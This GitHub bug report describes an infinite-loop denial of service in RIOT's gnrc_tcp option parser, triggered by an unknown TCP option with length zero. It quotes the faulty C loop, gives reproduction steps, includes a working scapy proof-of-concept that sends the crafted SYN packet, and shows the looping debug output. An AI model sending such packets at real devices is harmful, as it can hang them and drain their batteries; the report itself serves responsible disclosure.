Skip to content

gnrc_tcp: option parsing doesn't terminate on all inputs, potential DOS #12086

@nmeum

Description

@nmeum

Description

The gnrc_tcp parser for TCP options (_option_parse) doesn't terminate on all inputs. When sending a packet with an unknown option and option length zero it doesn't advance the option pointer (i.e. advances it by zero) and therefore stays in the loop forever.

default:
DEBUG("gnrc_tcp_option.c : _option_parse() : Unknown option found.\
KIND=%"PRIu8", LENGTH=%"PRIu8"\n", option->kind, option->length);
}
opt_ptr += option->length;
opt_left -= option->length;

Steps to reproduce the issue

  1. Configure the interface tap as follows ip addr add 2001:db8::affe:1/64 dev tap0
  2. Enable debug in sys/net/gnrc/transport_layer/tcp/gnrc_tcp_option.c
  3. Compile tests/gnrc_tcp_server/ using: TCP_SERVER_ADDR="2001:db8::affe:2" make -C tests/gnrc_tcp_server/
  4. Start tests/gnrc_tcp_server using: make -C tests/gnrc_tcp_server term
  5. Invoke the following python script (requires scapy):
#!/usr/bin/env python3

import sys
import struct
from scapy.all import *

if len(sys.argv) < 3:
    print("USAGE: %s ADDR PORT" % sys.argv[0], file=sys.stderr)
    sys.exit(1)

addr = sys.argv[1]
port = int(sys.argv[2])

ip = IPv6(dst=addr)
tcp = TCP(dport=port, flags="S", sport=2342, seq=1, dataofs=6)

rawpkt = raw(tcp) + b"\x50\x00\x00\x00"

_, chksum = tcp.chksum, in6_chksum(socket.IPPROTO_TCP, ip[IPv6], rawpkt)
pkt = rawpkt[0:16] + struct.pack("!H", chksum) + rawpkt[18:]

s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.connect((ip.dst, tcp.dport))
s.send(pkt)

For example using ./tcp-zero-option.py "2001:db8::affe:2" 80

Expected results

The application should parse the unknown option once.

Actual results

The application parses the unknown option an infinite amount of times. Example output:

…
gnrc_tcp_option.c : _option_parse() : Unknown option found.                      KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found.                      KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found.                      KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found.                      KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found.                      KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found.                      KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found.                      KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found.                      KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found.                      KIND=80, LENGTH=0
gnrc_tcp_option.c : _option_parse() : Unknown option found.                      KIND=80, LENGTH=0
…

Impact

Denial of service, possibly allowing battery drain, et cetera.

Metadata

Metadata

Assignees

No one assigned

    Labels

    Area: networkArea: NetworkingType: bugThe issue reports a bug / The PR fixes a bug (including spelling errors)

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions